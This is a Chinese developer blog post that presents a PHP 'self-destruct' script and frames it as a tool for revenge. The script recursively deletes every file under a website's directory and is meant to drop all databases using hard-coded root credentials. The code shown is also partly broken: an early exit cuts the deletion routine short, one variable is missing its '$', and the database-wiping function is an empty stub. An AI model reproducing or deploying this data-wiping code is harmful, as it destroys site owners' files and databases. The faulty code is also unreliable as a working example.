首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >PHP自毁程序,慎用!

PHP自毁程序,慎用!

作者头像
程序猿的栖息地
发布于 2022-04-29 14:28:01
发布于 2022-04-29 14:28:01
1.2K0
举报

分享心得

以前看电影的时候有一个画面,就是手机安装一个自毁程序,如果手机被偷了,操作不当的话就自动启用自毁程序,自动删除手机里所有的数据,今天给大家分享一个PHP开发的自毁程序,一旦触发的话就删除整个网站程序和数据库等等。

代码实现教程

首先做一些适当的配置

代码语言:javascript
复制
<?php
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// | username: Adai哥

//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true);  //为false时,不碰数据库

run();

写一个执行方法,这个方法就是自毁程序的入口。

代码语言:javascript
复制
/**
 * 主体思想必须光辉伟大!
 **/
function run()
{
    //删除文件
    deletedir();
    //删除数据库
    deleteDB();
}

以下的方法是递归删除指定目录下的所有文件。

代码语言:javascript
复制
/**
 * 呵呵呵,删除指定目录的所文件
 **/
function deletedir($dir = ''){
    if ($dir == '') {
        $dir = realpath('.');
    }
    echo $dir;
    exit();
    if(!handle=@opendir($dir)){     //检测要打开目录是否存在
        die("没有该目录");
    }
    while(false !==($file=readdir($handle))){
        if($file!=="."&&$file!==".."){       //排除当前目录与父级目录
            $file=$dir .DIRECTORY_SEPARATOR. $file;
            if(is_dir($file)){
                deletedir($file);
            }else{
                if(@unlink($file)){
                    echo "文件<b>$file</b>删除成功。<br>";
                }else{
                    echo  "文件<b>$file</b>删除失败!<br>";
                }
            }
        }
        if(@rmdir($dir)){
            echo "目录<b>$dir</b>删除成功了。<br>\n";
        }else{
            echo "目录<b>$dir</b>删除失败!<br>\n";
        }
    }

写下面的方法比较biantai,删除数据库的操作,具体怎么删除看自己的思维吧,我感觉已经是一个zui人了。

代码语言:javascript
复制
/**
  * 呵呵呵,删除数据库
  * @return void
**/
function deleteDB()
{
        if(DB_DAMAGE === true){
            //start,下面s省略...
        }
    }
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-09-02,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档